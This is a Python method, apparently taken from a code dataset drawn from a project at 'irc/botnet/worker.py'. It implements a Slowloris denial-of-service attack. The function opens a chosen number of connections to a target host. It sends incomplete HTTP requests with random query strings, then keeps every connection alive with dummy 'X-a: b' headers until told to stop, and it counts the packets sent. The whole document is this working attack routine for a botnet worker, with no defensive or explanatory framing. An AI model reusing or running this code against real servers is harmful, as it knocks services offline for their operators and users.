def slowloris(self, host, num, timeout, port=None):
        port = port or 80
        timeout = int(timeout)
        conns = [Conn(host, int(port), 5) for i in range(int(num))]
        failed = 0
        packets = 0
        
        while not self.stop_flag.is_set():
            for conn in conns:
                if self.stop_flag.is_set():
                    break
                
                if not conn.connected:
                    if conn.connect():
                        packets += 3
                
                if conn.connected:
                    query = '?%d' % random.randint(1, 9999999999999)
                    payload = self.primary_payload % (query, conn.host)
                    try:
                        conn.send(payload)
                        packets += 1
                    except socket.error:
                        pass
                else:
                    pass
            
            for conn in conns:
                if self.stop_flag.is_set():
                    break
                
                if conn.connected:
                    try:
                        conn.send('X-a: b\r\n')
                        packets += 1
                    except socket.error:
                        pass

            gevent.sleep(timeout)
            
        return "%s failed, %s packets sent" % (failed, packets)
dataset/ETHPy150Open coleifer/irc/botnet/worker.py/WorkerBot.slowloris/original